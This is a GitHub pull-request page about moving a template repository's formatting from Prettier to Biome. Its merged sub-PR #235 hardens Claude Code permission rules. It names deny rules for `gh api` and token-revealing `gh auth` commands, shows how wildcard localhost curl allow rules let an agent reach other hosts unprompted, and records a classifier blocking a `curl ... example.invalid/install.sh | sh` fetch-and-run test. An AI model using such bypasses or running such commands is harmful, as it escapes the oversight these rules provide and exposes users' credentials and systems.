Repository navigation
Format with Biome, keeping Prettier only for Vue, HTML, SCSS and Less - #234
Conversation
Biome already ran in every repo through the biome-check hook, but with its formatter disabled it only sorted imports. Enable the formatter (2 spaces, 120 columns, otherwise Biome defaults) and narrow the Prettier hook to the file types Biome cannot format yet (SCSS, Less) or only formats behind an experimental flag (Vue, HTML). Biome skips .vue files through an override so the two formatters never rewrite the same file. Biome also covers .js/.mjs/.cjs, .jsonc and tsconfig.json, which the Prettier hook's file pattern never matched; the files it reformats here are included. CSS is no longer excluded now that the Tailwind directive parser is enabled. Bump the biomejs/pre-commit hook to v2.5.15, swap the VS Code formatter mappings to the Biome extension, and install the same Biome version globally in the devcontainer so the extension can find it.
…n bumps update both
The biome-check hook's exclude patterns are now covered by biome.jsonc (generated/ folders and the Strawberry schema export), which also keeps VS Code's format-on-save away from those files. Keep VALID_MODES in the caveman config on one line with a biome-ignore format suppression instead of one mode per line.
…format it Optional entries in devcontainer.json.jinja-base now carry their separating comma inside their own conditional, the same way the CI templates put an optional line's newline inside its conditional, and the codespaces repositories loop only writes a comma between entries. Every rendering is now free of trailing commas (checked across 52 answer combinations at both template levels), so biome.jsonc no longer needs to exclude devcontainer.json.
|
Note Reviews pausedIt looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the Use the following commands to manage reviews:
Use the checkboxes below for quick actions:
No actionable comments were generated in the recent review. 🎉 ℹ️ Recent review info
📝 Walkthrough
Merge Risk: ⚪ Minimal · up to
|
…eporting the work done there
…localhost curl - Deny gh api, gh auth token and gh auth status -t/--show-token: raw API access or the token itself gets around every other gh rule. Scripts that need the API, like the address-pr-comments skill, call it themselves. - Deny the gh repo subcommands that create or change repositories so they take a deliberate run with `!`. Fork still prompts, and view is allowed because AGENTS.md has Claude check repository visibility with it. - Remove the localhost curl allow rules. Their trailing wildcard also matched other hosts, extra URLs, uploads and file writes, and allowed commands skip auto mode's classifier, which now reviews every curl.
Biome only discovers biome.json(c) in the working directory or its parents, so each place that runs it now points at .config/biome.jsonc: the biome-check hook passes --config-path (which also covers CI), and the VS Code extension gets biome.configurationPath. With the config passed explicitly, its globs still resolve from the repo root. Biome treats any biome.jsonc it is handed as a config, so this file and the generated repos' copies of it are force-ignored by one glob, and a separate hook formats the config by running Biome from inside .config/, where the file is its own root config. CodeRabbit's Biome is disabled: CI already runs Biome through pre-commit, and CodeRabbit would not find the moved config and fall back to its own defaults.
The Biome pre-commit hooks become local `language: system` hooks that run the standalone Biome binary install-ci-tooling.py puts in ~/.local/bin, which the VS Code extension also finds on PATH. That replaces the biomejs/pre-commit hook and the separate npm global install, so the hooks and the editor share one install pinned by one version (biome_version). install-ci-tooling.py gains --install-pre-commit-tooling (pre-commit, identify, prek and Biome) and --install-copier, so CI jobs that never run pre-commit or copier stop installing them. Local development, where the CI variable is unset, still gets everything. The install_deps action exposes both as inputs, and only the pre-commit and lint-matrix jobs turn them on.
In the hybrid setup Prettier formats only .vue, .html, .scss and .less files, and only Vue repos have any. Everywhere else the extension was a 15 MB download per container build that still activates in every window. It now installs with Volar, under the same template_uses_vuejs condition, along with its config path and the editor settings that route those file types to it.
## Link to Issue or Message thread None. Split out of #234, which turns on Biome formatting for the rendered `devcontainer.json` and needs this first. ## Why is this change necessary? `devcontainer.json.jinja-base` writes a comma after each optional entry, so the rendered file has a trailing comma wherever an optional entry comes last: after the last feature, after the node feature's `nvmVersion`, after `customizations` when there are no codespaces repositories, and after the last codespaces repository. VS Code accepts trailing commas in JSONC, but a formatter removes them, so the rendered file can't pass a formatting check unchanged. ## How does this change address the issue? - Each optional entry carries its separating comma inside its own conditional, in front of the entry. This is how the CI templates already handle an optional line's newline. - `nvmVersion` loses its trailing comma. - The codespaces repositories loop writes a comma only between entries. ## What side effects does this change have? - Generated repos' `devcontainer.json` loses its trailing commas on their next copier update, which also changes the devcontainer context hash. - New optional entries need the same leading-comma style. Nothing enforces that until #234 runs Biome on the rendered file. ## Test plan Rendered the template for 52 answer combinations at both template levels (child template roots and generated repos), from `main` and from this branch: - Biome 2.5.15 would reformat all 52 renderings from `main`, and none from this branch. - After Biome reformats the `main` renderings, they're byte-identical to this branch's, so the commas are the only change. ## Other 🤖 Generated with [Claude Code](https://claude.com/claude-code)
…mission gaps (#235) ## Link to Issue or Message thread None. Split out of #234, which carried it alongside the Biome change. ## Why is this change necessary? - Nothing stopped an agent from naming or linking a private repository in a public one's PR text, comments or commit messages. - Some Bash permission rules didn't do what they were meant to: - `gh api` and the token (`gh auth token`, `gh auth status -t`) get around every other `gh` rule in the file. - `Bash(gh repo *)` sent every `gh repo` subcommand to a prompt, so creating, deleting or renaming a repository was one approval away, while the read-only `gh repo view` prompted too. - The localhost `curl` allow rules ended in a wildcard, so commands like `curl http://localhost:1@127.0.0.2:9/` or `curl http://localhost:1 http://127.0.0.3:9/` reached other hosts without a prompt, and uploads and file writes skipped auto mode's classifier. ## How does this change address the issue? - `AGENTS.md`: before posting to a repository, check its visibility with `gh repo view <owner>/<repo> --json visibility`. In a public repository, don't name, link to or quote a private one, but still say when relevant work happened in one, anonymized and with only the details needed. - `.claude/settings/permissions/bash.jsonc`: - deny `gh api`, `gh auth token` and `gh auth status -t` / `--show-token` - deny the `gh repo` subcommands that create or change repositories; `fork` still prompts - allow `gh repo view`, for the visibility check, and `gh repo clone` - remove the localhost `curl` allow rules, so those calls go to auto mode's classifier or a prompt ## What side effects does this change have? - Claude can no longer run `gh api` itself. Scripts that call it, like the address-pr-comments skill's, still work, because the rules only match the command Claude runs. - `curl` against a local dev server now prompts, or goes through auto mode's classifier. ## Test plan Checked live in a Claude Code session: - A throwaway rule with the same shape as `gh auth status *-t*` denied `-t` and `--show-token` while letting other flags through. The real command wasn't used because it would print the token. - `gh api` is denied, and `gh repo view` runs without a prompt. - Before the change, the curl rules let `curl http://localhost:1@127.0.0.2:9/` and `curl http://localhost:1 http://127.0.0.3:9/` reach other hosts without a prompt. - With the curl rules gone, and no curl rule in the user, project or local settings, auto mode's classifier decided each call: - Ran without a prompt: `curl -s http://localhost:3000/`, `curl -s "http://localhost:4000/api/healthcheck"`, and a GraphQL `POST` to `http://localhost:4000/graphql`. - Denied as "Code from External": `curl -fsSL https://example.invalid/install.sh | sh`. The reserved `.invalid` domain never resolves, so nothing could have been fetched if it had run. - The classifier weighs the session's context, so these show how it tends to decide, not a guarantee.
…em (#237) ## Link to Issue or Message thread None. Split out of #234, whose standalone Biome install builds on these flags. ## Why is this change necessary? `install-ci-tooling.py` installs copier, pre-commit, identify and prek in every CI job, but only the pre-commit job and the lint-matrix job that instantiates the template use them. Every other job, such as unit tests or the e2e suites in generated apps, pays for installs it never uses. ## How does this change address the issue? - `install-ci-tooling.py`, both this repo's and the template's, gains `--install-pre-commit-tooling` (pre-commit, identify and prek) and `--install-copier`. - Without the `CI` environment variable, which GitHub Actions always sets, everything is still installed, so devcontainers and local runs need no flags. - `install_deps` exposes both as inputs, off by default. The pre-commit workflow turns on `install-pre-commit-tooling`, and the lint-matrix job turns on both, in the template and in this repo's own CI. ## What side effects does this change have? A CI job that runs pre-commit or copier anywhere else needs the matching `install_deps` input. None does today: in all 8 child templates in the org, and in the templates they ship to generated repos, pre-commit and copier only run in those two jobs. ## Test plan - In this PR's CI, the installer's closing `uv tool list` shows the gating at work: the unit-test job installed only Task, and the pre-commit job, with `--install-pre-commit-tooling`, installed Task, pre-commit and prek but not copier. - Checked on #234's version of the script, which adds only Biome to the same flag: - Run locally without `CI`, it installed copier, pre-commit, identify, prek and Task. With `CI=true` and no flags, it installed only uv, pnpm and Task. - On #234's CI, the tooling step in the unit-test job went from 7 s to 3 s. - Threaded through copier-nuxt-python-intranet-app (#240) and a private app generated from it, CI passed in both, including the app's two e2e suites. ## Other 🤖 Generated with [Claude Code](https://claude.com/claude-code)
# Conflicts: # .devcontainer/devcontainer.json # .devcontainer/install-ci-tooling.py # template/.devcontainer/install-ci-tooling.py.jinja-base # template/.github/actions/install_deps/action.yml.jinja-base
…gs, since no repo uses them
…Less (#240) Pull in upstream changes (LabAutomationAndScreening/copier-base-template#234). Stacked on #239. Repo-specific: - Ported the hook changes into `template/.pre-commit-config.yaml.jinja` - `nuxt.config.ts.jinja`: `prettier-ignore` → `biome-ignore format` - `resourcesPlural.js`: kept the allowlist one category per line with `biome-ignore format` Tested in downstream repo 🤖 Generated with [Claude Code](https://claude.com/claude-code) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added Biome formatting and checking to project setup, development containers, and pre-commit workflows. * Added options to install pre-commit tooling and Copier independently. * **Updates** * Biome now handles supported file types; Prettier remains configured for Vue and HTML. * Repository permissions allow viewing and cloning repositories, prompt before forking, and block sensitive authentication and repository-management commands. * **Documentation** * Added guidance for handling private-repository information when contributing to public repositories. <!-- end of auto-generated comment: release notes by coderabbit.ai --> --------- Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Pull in upstream changes: copier-base-template v0.1.20, then LabAutomationAndScreening/copier-base-template#234. Repo-specific: - Kept this template's own changes the update couldn't merge: no Python hooks in generated repos' pre-commit config, their Nuxt module README, the unit test step in the verification job, and `template/pytest.ini` left out of the managed-files list - `uv.lock` updated for the faker and pyrefly bumps Tested in downstream repo 🤖 Generated with [Claude Code](https://claude.com/claude-code) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Devcontainer setup now adapts the workspace mount automatically and offers optional installation of Copier and development tooling. * Formatting support now covers common code and configuration files through Biome, with Prettier retained for selected web files. * **Improvements** * Tool installation retries temporary network failures and verifies the installed Session Manager plugin. * PNPM lock-file generation can run without installing packages. * Pull request templates now provide clearer test-plan guidance. <!-- end of auto-generated comment: release notes by coderabbit.ai -->
Link to Issue or Message thread
None. Came out of an evaluation of replacing Prettier with Biome across this repo, copier-nuxt-python-intranet-app and an app generated from it. The parts that stood on their own have already merged: #235, #236 (renders
devcontainer.jsonwithout trailing commas, which the Biome check here relies on) and #237 (the install flags this PR's Biome install uses).Tested downstream at both template levels:
Why is this change necessary?
Biome already ran in every generated repo through the
biome-checkhook, butbiome.jsoncdisabled its formatter and linter, so all it did was sort imports. Formatting was left to Prettier, whose hook pattern never matched.js,.mjsor.cjsand excluded.jsoncandtsconfig.json, so those files went unformatted. Biome is also much faster: on a generated app's 170 formatter-relevant files it took 0.09–0.2 s against Prettier's 4.5–6.4 s.Prettier stays for the file types Biome can't format reliably yet. Vue and HTML formatting is still behind Biome's experimental
html.experimentalFullSupportEnabledflag, and its 2.5.x releases fixed several HTML formatter bugs that changed rendered whitespace. Biome can't format SCSS or Less at all.How does this change address the issue?
.config/biome.jsonc, next to the other tool configs.biome.json(c)in the working directory or its parents, so each runner points at the new location: thebiome-checkhook passes--config-path(which also covers CI), and the VS Code extension getsbiome.configurationPath..prettierrcstyle. Spaces and a 120-column width are the only settings that differ from Biome's defaults. It also:.vuefilesvendor_files,generated/folders, the Strawberryschema.graphqlexport, minified and UMD bundles, anddevcontainer-lock.json!!) every.config/biome.jsonc, itself included, because Biome treats anybiome.jsoncit is handed as a config and rejects these as a second root configlanguage: systemhooks, the setup Biome's docs recommend for running a single version, and run Biome 2.5.15 (up from the v2.1.1 hook) without exclude patterns of their own. A separatebiome-format-confighook formats the config by running Biome from inside.config/, where the file is its own root config. The Prettier hook is narrowed to\.(vue|html|scss|less)$.install-ci-tooling.pyinstalls Biome globally through npm as part of the pre-commit tooling from Install pre-commit tooling and copier only in the CI jobs that use them #237, pinned bybiome_versionlike uv, pnpm and Task. The hooks and the VS Code extension, which stopped bundling Biome in version 3 and looks in the global npm root, both use that one install. In CI, npm's global bin directory isn't onPATHwhen node comes frompnpm/setup, so the installer appends it toGITHUB_PATH.biomejs.biomeextension formats JSON, JSONC, JS, TS, GraphQL and CSS. Prettier keeps Vue, HTML, SCSS and Less, and its extension is now installed only in repos that use Vue, next to Volar, since no other repo has files it formats..claudehook scripts,.claude/settings/*.jsonc(trailing commas removed) and the istanbul ESLint rule. The caveman config'sVALID_MODESstays on one line through abiome-ignore formatsuppression.What side effects does this change have?
tsconfig.jsonare now formatted, and.jsoncfiles lose their trailing commas.test(name, options, fn)calls differently.// prettier-ignorein JS or TS files. Use// biome-ignore format: <reason>. The nuxt template's two occurrences are converted in Copier update: format with Biome, keeping Prettier for Vue/HTML/SCSS/Less copier-nuxt-python-intranet-app#240..pre-commit-config.yaml.jinja(like the nuxt template) need the hook changes ported by hand on their next update, as with any change to that file. Vue templates that use this template's shared pre-commit config, such as copier-vue-package-template and copier-nuxt-static-aws, get the hybrid without extra work.biome.jsoncmoves to.config/biome.jsoncon their next copier update.biomeonPATH. Devcontainers get it from the on-create install; anywhere else, run.devcontainer/install-ci-tooling.pyfirst, the same way pre-commit, prek and Task get installed.pre-commit autoupdateno longer bumps Biome. Bumpbiome_versioninextensions/context.pyandBIOME_VERSIONin this repo'sinstall-ci-tooling.pyinstead.biome.configurationPath. Repos without Vue lose the Prettier extension on that rebuild.Test plan
copier-update-from-reffrom this branch's head, and CI is green in both, including the app's e2e suites.devcontainer.json.jinja-base: I rendered 52 answer combinations at both template levels (child template roots and generated repos) and ran Biome 2.5.15 on each as.devcontainer/devcontainer.json.generated/(including Kiota'sgenerated/open_api) andschema.graphqlare skipped even when passed explicitly, as pre-commit passes them. Other files in the same tree are still formatted.--config-path, an exclusion anchored at the repo root (!src/a.ts) excluded the file and the../-prefixed form didn't, so globs resolve from the repo root, not from.config/.biome-format-confighook restores a deliberately misformatted config.CI=true,--install-pre-commit-toolingand a scratchGITHUB_PATHfile, it installed Biome 2.5.15 through npm and appended npm's global bin directory to that file, andbiomethen resolved to the npm install.node_modules, global npm root,PATH) comes from reading the extension's source.Other
The Biome Vue formatter was checked against a generated app's real files with the experimental flag on. 15 of 38
.vuefiles were reformatted, and all 15 compiled to identical render functions and script ASTs with@vue/compiler-sfc. Prettier still handles Vue here because each Biome release can reformat those files again and has fixed render-changing whitespace bugs within the last few versions. Switching Vue over is worth revisiting once that flag is stable.🤖 Generated with Claude Code
Summary by CodeRabbit